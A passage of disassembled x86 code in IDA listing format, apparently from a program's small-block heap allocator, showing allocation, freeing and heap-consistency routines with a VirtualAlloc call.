		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_41ECDF
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41EFD0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_41ECD6
		mov	edx, [ebp+var_20]
		mov	off_447268, edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	[edx], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_C]
		jmp	loc_41EFC4
; ---------------------------------------------------------------------------


loc_41ECD6:				; CODE XREF: sub_41EC10+9Dj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[edx+4], eax


loc_41ECDF:				; CODE XREF: sub_41EC10+73j
					; sub_41EC10+7Ej
		jmp	loc_41EC5E
; ---------------------------------------------------------------------------


loc_41ECE4:				; CODE XREF: sub_41EC10+69j
		mov	ecx, [ebp+var_20]
		add	ecx, 18h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [edx+8]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		mov	[ebp+var_8], edx
		jmp	short loc_41ED16
; ---------------------------------------------------------------------------


loc_41ED01:				; CODE XREF: sub_41EC10:loc_41ED82j
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1000h
		mov	[ebp+var_8], ecx


loc_41ED16:				; CODE XREF: sub_41EC10+EFj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_10]
		jnb	short loc_41ED87
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jl	short loc_41ED82
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_41ED82
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41EFD0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_41ED79
		mov	edx, [ebp+var_20]
		mov	off_447268, edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	[edx], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_C]
		jmp	loc_41EFC4
; ---------------------------------------------------------------------------


loc_41ED79:				; CODE XREF: sub_41EC10+140j
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[edx+4], eax


loc_41ED82:				; CODE XREF: sub_41EC10+116j
					; sub_41EC10+121j
		jmp	loc_41ED01
; ---------------------------------------------------------------------------


loc_41ED87:				; CODE XREF: sub_41EC10+15j
					; sub_41EC10+10Cj
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	eax, off_447268
		jnz	loc_41EC1E
		mov	[ebp+var_20], offset off_445248


loc_41EDA5:				; CODE XREF: sub_41EC10+346j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	loc_41EF47
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+0Ch], 0
		jz	loc_41EF47
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		add	edx, 18h
		mov	eax, [ebp+var_4]
		sub	eax, edx
		sar	eax, 3
		shl	eax, 0Ch
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		add	edx, eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		jmp	short loc_41EE05
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: sub_41EC10+203j
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_41EE05:				; CODE XREF: sub_41EC10+1E1j
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EE15
		cmp	[ebp+var_14], 10h
		jge	short loc_41EE15
		jmp	short loc_41EDF3
; ---------------------------------------------------------------------------


loc_41EE15:				; CODE XREF: sub_41EC10+1FBj
					; sub_41EC10+201j
		push	4
		push	1000h
		mov	ecx, [ebp+var_14]
		shl	ecx, 0Ch
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	dword_4E0488	; VirtualAlloc
		cmp	eax, [ebp+var_8]
		jnz	loc_41EF43
		push	0
		mov	eax, [ebp+var_14]
		shl	eax, 0Ch
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_18], 0
		mov	edx, [ebp+var_8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		jmp	short loc_41EE7E
; ---------------------------------------------------------------------------


loc_41EE60:				; CODE XREF: sub_41EC10+2A8j
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 1000h
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_10]
		add	eax, 8
		mov	[ebp+var_10], eax


loc_41EE7E:				; CODE XREF: sub_41EC10+24Ej
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_14]
		jge	short loc_41EEBA
		mov	edx, [ebp+var_1C]
		add	edx, 8
		mov	eax, [ebp+var_1C]
		mov	[eax], edx
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+4], 0F0h
		mov	edx, [ebp+var_1C]
		mov	byte ptr [edx+0F8h], 0FFh
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], 0F0h
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx+4], 0F1h
		jmp	short loc_41EE60
; ---------------------------------------------------------------------------


loc_41EEBA:				; CODE XREF: sub_41EC10+274j
		mov	edx, [ebp+var_20]
		mov	off_447268, edx


loc_41EEC3:				; CODE XREF: sub_41EC10+2D1j
		mov	eax, [ebp+var_20]
		add	eax, 2018h
		cmp	[ebp+var_10], eax
		jnb	short loc_41EEE3
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EEE3
		mov	edx, [ebp+var_10]
		add	edx, 8
		mov	[ebp+var_10], edx
		jmp	short loc_41EEC3
; ---------------------------------------------------------------------------


loc_41EEE3:				; CODE XREF: sub_41EC10+2BEj
					; sub_41EC10+2C6j
		mov	eax, [ebp+var_20]
		add	eax, 2018h
		cmp	[ebp+var_10], eax
		sbb	ecx, ecx
		and	ecx, [ebp+var_10]
		mov	edx, [ebp+var_20]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax+8], cl
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+ecx+8]
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	eax, [ebp+var_8]
		add	eax, 100h
		jmp	loc_41EFC4
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EC10+220j
		xor	eax, eax
		jmp	short loc_41EFC4
; ---------------------------------------------------------------------------


loc_41EF47:				; CODE XREF: sub_41EC10+19Cj
					; sub_41EC10+1A9j
		mov	edx, [ebp+var_20]
		mov	eax, [edx]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], offset off_445248
		jnz	loc_41EDA5
		call	sub_41E750
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_41EFC2
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax+8], cl
		mov	edx, [ebp+var_20]
		mov	off_447268, edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax+8]
		mov	eax, [ebp+var_8]
		mov	[eax], edx
		mov	ecx, 0F0h
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+18h]
		sub	edx, eax
		mov	eax, [ebp+var_20]
		mov	[eax+18h], edx
		mov	eax, [ebp+var_8]
		add	eax, 100h
		jmp	short loc_41EFC4
; ---------------------------------------------------------------------------


loc_41EFC2:				; CODE XREF: sub_41EC10+358j
		xor	eax, eax


loc_41EFC4:				; CODE XREF: sub_41EC10+C1j
					; sub_41EC10+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41EC10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EFD0	proc near		; CODE XREF: sub_41EC10+8Ep
					; sub_41EC10+131p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		add	eax, 0F8h
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_8]
		jb	short loc_41F05D
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_8]
		mov	[eax], cl
		mov	edx, [ebp+var_8]
		add	edx, [ebp+arg_8]
		cmp	edx, [ebp+var_14]
		jnb	short loc_41F02B
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		jmp	short loc_41F040
; ---------------------------------------------------------------------------


loc_41F02B:				; CODE XREF: sub_41EFD0+3Bj
		mov	eax, [ebp+arg_0]
		add	eax, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], 0


loc_41F040:				; CODE XREF: sub_41EFD0+59j
		mov	eax, [ebp+arg_0]
		add	eax, 8
		mov	ecx, [ebp+var_8]
		sub	ecx, eax
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx+100h]
		jmp	loc_41F275
; ---------------------------------------------------------------------------


loc_41F05D:				; CODE XREF: sub_41EFD0+28j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+ecx]
		test	eax, eax
		jz	short loc_41F07B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		add	edx, [ecx+4]
		mov	[ebp+var_8], edx


loc_41F07B:				; CODE XREF: sub_41EFD0+9Dj
					; sub_41EFD0:loc_41F174j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	loc_41F179
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	loc_41F165
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], 1
		jmp	short loc_41F0BD
; ---------------------------------------------------------------------------


loc_41F0AB:				; CODE XREF: sub_41EFD0+F8j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_41F0BD:				; CODE XREF: sub_41EFD0+D9j
		mov	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_41F0CA
		jmp	short loc_41F0AB
; ---------------------------------------------------------------------------


loc_41F0CA:				; CODE XREF: sub_41EFD0+F6j
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+arg_8]
		jnb	short loc_41F105
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F0E5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		jmp	short loc_41F0FD
; ---------------------------------------------------------------------------


loc_41F0E5:				; CODE XREF: sub_41EFD0+108j
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_10]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41F0FD
		xor	eax, eax
		jmp	loc_41F275
; ---------------------------------------------------------------------------


loc_41F0FD:				; CODE XREF: sub_41EFD0+113j
					; sub_41EFD0+124j
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		jmp	short loc_41F163
; ---------------------------------------------------------------------------


loc_41F105:				; CODE XREF: sub_41EFD0+100j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	short loc_41F129
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		jmp	short loc_41F13E
; ---------------------------------------------------------------------------


loc_41F129:				; CODE XREF: sub_41EFD0+13Ej
		mov	edx, [ebp+arg_0]
		add	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0


loc_41F13E:				; CODE XREF: sub_41EFD0+157j
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+arg_8]
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		mov	edx, [ebp+var_8]
		sub	edx, ecx
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+edx+100h]
		jmp	loc_41F275
; ---------------------------------------------------------------------------


loc_41F163:				; CODE XREF: sub_41EFD0+133j
		jmp	short loc_41F174
; ---------------------------------------------------------------------------


loc_41F165:				; CODE XREF: sub_41EFD0+C3j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax


loc_41F174:				; CODE XREF: sub_41EFD0:loc_41F163j
		jmp	loc_41F07B
; ---------------------------------------------------------------------------


loc_41F179:				; CODE XREF: sub_41EFD0+B4j
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		mov	[ebp+var_8], ecx


loc_41F182:				; CODE XREF: sub_41EFD0:loc_41F26Ej
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jnb	loc_41F273
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	loc_41F273
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	loc_41F25F
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], 1
		jmp	short loc_41F1D0
; ---------------------------------------------------------------------------


loc_41F1BE:				; CODE XREF: sub_41EFD0+20Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_41F1D0:				; CODE XREF: sub_41EFD0+1ECj
		mov	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_41F1DD
		jmp	short loc_41F1BE
; ---------------------------------------------------------------------------


loc_41F1DD:				; CODE XREF: sub_41EFD0+209j
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+arg_8]
		jnb	short loc_41F202
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_10]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41F1FA
		xor	eax, eax
		jmp	short loc_41F275
; ---------------------------------------------------------------------------


loc_41F1FA:				; CODE XREF: sub_41EFD0+224j
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		jmp	short loc_41F25D
; ---------------------------------------------------------------------------


loc_41F202:				; CODE XREF: sub_41EFD0+213j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	short loc_41F226
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		jmp	short loc_41F23B
; ---------------------------------------------------------------------------


loc_41F226:				; CODE XREF: sub_41EFD0+23Bj
		mov	edx, [ebp+arg_0]
		add	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0


loc_41F23B:				; CODE XREF: sub_41EFD0+254j
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+arg_8]
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		mov	edx, [ebp+var_8]
		sub	edx, ecx
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+edx+100h]
		jmp	short loc_41F275
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41EFD0+230j
		jmp	short loc_41F26E
; ---------------------------------------------------------------------------


loc_41F25F:				; CODE XREF: sub_41EFD0+1D6j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax


loc_41F26E:				; CODE XREF: sub_41EFD0:loc_41F25Dj
		jmp	loc_41F182
; ---------------------------------------------------------------------------


loc_41F273:				; CODE XREF: sub_41EFD0+1B8j
					; sub_41EFD0+1C7j
		xor	eax, eax


loc_41F275:				; CODE XREF: sub_41EFD0+88j
					; sub_41EFD0+128j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41EFD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F280	proc near		; CODE XREF: sub_41C020+161p
					; sub_41C230+2D1p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx*8+18h]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_C]
		jbe	short loc_41F2E7
		mov	ecx, [ebp+arg_8]
		mov	dl, byte ptr [ebp+arg_C]
		mov	[ecx], dl
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		add	edx, eax
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0F1h
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		jmp	loc_41F3DD
; ---------------------------------------------------------------------------


loc_41F2E7:				; CODE XREF: sub_41F280+33j
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_C]
		jnb	loc_41F3DD
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_4]
		add	edx, 0F8h
		cmp	ecx, edx
		ja	loc_41F3DD
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	[ebp+var_18], ecx
		jmp	short loc_41F327
; ---------------------------------------------------------------------------


loc_41F31E:				; CODE XREF: sub_41F280+BAj
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_41F327:				; CODE XREF: sub_41F280+9Cj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_18]
		jnb	short loc_41F33C
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	short loc_41F33C
		jmp	short loc_41F31E
; ---------------------------------------------------------------------------


loc_41F33C:				; CODE XREF: sub_41F280+ADj
					; sub_41F280+B8j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_18]
		jnz	loc_41F3DD
		mov	ecx, [ebp+arg_8]
		mov	dl, byte ptr [ebp+arg_C]
		mov	[ecx], dl
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		cmp	ecx, [eax]
		ja	short loc_41F3C2
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_18]
		cmp	eax, [edx]
		jbe	short loc_41F3C2
		mov	ecx, [ebp+arg_4]
		add	ecx, 0F8h
		cmp	[ebp+var_18], ecx
		jnb	short loc_41F3AD
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_18]
		mov	[edx], eax
		mov	[ebp+var_8], 0
		jmp	short loc_41F395
; ---------------------------------------------------------------------------


loc_41F383:				; CODE XREF: sub_41F280+120j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_41F395:				; CODE XREF: sub_41F280+101j
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_41F3A2
		jmp	short loc_41F383
; ---------------------------------------------------------------------------


loc_41F3A2:				; CODE XREF: sub_41F280+11Ej
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_8]
		mov	[edx+4], eax
		jmp	short loc_41F3C2
; ---------------------------------------------------------------------------


loc_41F3AD:				; CODE XREF: sub_41F280+F0j
		mov	ecx, [ebp+arg_4]
		add	ecx, 8
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+4], 0


loc_41F3C2:				; CODE XREF: sub_41F280+D8j
					; sub_41F280+E2j ...
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_41F3DD:				; CODE XREF: sub_41F280+62j
					; sub_41F280+6Dj ...
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_41F280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3F0	proc near		; CODE XREF: sub_41C820+89p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], offset off_445248


loc_41F404:				; CODE XREF: sub_41F3F0+21Ej
		mov	eax, off_447268
		cmp	eax, [ebp+var_1C]
		jnz	short loc_41F417
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_41F417:				; CODE XREF: sub_41F3F0+1Cj
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+10h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	loc_41F5FF
		mov	[ebp+var_C], 0
		mov	[ebp+var_28], 0
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+10h]
		mov	[ebp+var_4], edx
		jmp	short loc_41F458
; ---------------------------------------------------------------------------


loc_41F443:				; CODE XREF: sub_41F3F0:loc_41F5FAj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1000h
		mov	[ebp+var_4], ecx


loc_41F458:				; CODE XREF: sub_41F3F0+51j
		cmp	[ebp+var_C], 400h
		jge	loc_41F5FF
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+edx*8+18h], 0FFFFFFFFh
		jnz	short loc_41F4A0
		cmp	[ebp+var_28], 0
		jnz	short loc_41F492
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_1C]
		lea	eax, [edx+ecx*8+18h]
		mov	ecx, [ebp+var_1C]
		cmp	[ecx+0Ch], eax
		jz	short loc_41F492
		or	eax, 0FFFFFFFFh
		jmp	loc_41F623
; ---------------------------------------------------------------------------


loc_41F492:				; CODE XREF: sub_41F3F0+86j
					; sub_41F3F0+98j
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	loc_41F5FA
; ---------------------------------------------------------------------------


loc_41F4A0:				; CODE XREF: sub_41F3F0+80j
		mov	eax, [ebp+var_4]
		add	eax, 0F8h
		mov	ecx, [ebp+var_4]
		cmp	[ecx], eax
		jb	short loc_41F4B9
		mov	eax, 0FFFFFFFEh
		jmp	loc_41F623
; ---------------------------------------------------------------------------


loc_41F4B9:				; CODE XREF: sub_41F3F0+BDj
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx+0F8h]
		cmp	eax, 0FFh
		jz	short loc_41F4D5
		mov	eax, 0FFFFFFFDh
		jmp	loc_41F623
; ---------------------------------------------------------------------------


loc_41F4D5:				; CODE XREF: sub_41F3F0+D9j
		mov	[ebp+var_10], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_20], 0


loc_41F4F1:				; CODE XREF: sub_41F3F0:loc_41F5D2j
		cmp	[ebp+var_10], 0F0h
		jge	loc_41F5D7
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx+8]
		mov	ecx, [ebp+var_4]
		cmp	eax, [ecx]
		jnz	short loc_41F518
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_41F518:				; CODE XREF: sub_41F3F0+11Dj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+8]
		test	ecx, ecx
		jnz	short loc_41F547
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	loc_41F5D2
; ---------------------------------------------------------------------------


loc_41F547:				; CODE XREF: sub_41F3F0+135j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		cmp	ecx, [eax+edx*8+1Ch]
		jl	short loc_41F560
		mov	eax, 0FFFFFFFCh
		jmp	loc_41F623
; ---------------------------------------------------------------------------


loc_41F560:				; CODE XREF: sub_41F3F0+164j
		cmp	[ebp+var_18], 1
		jnz	short loc_41F584
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_20]
		cmp	eax, [edx+4]
		jge	short loc_41F57B
		mov	eax, 0FFFFFFFBh
		jmp	loc_41F623
; ---------------------------------------------------------------------------


loc_41F57B:				; CODE XREF: sub_41F3F0+17Fj
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx


loc_41F584:				; CODE XREF: sub_41F3F0+174j
		mov	[ebp+var_20], 0
		mov	edx, [ebp+var_10]
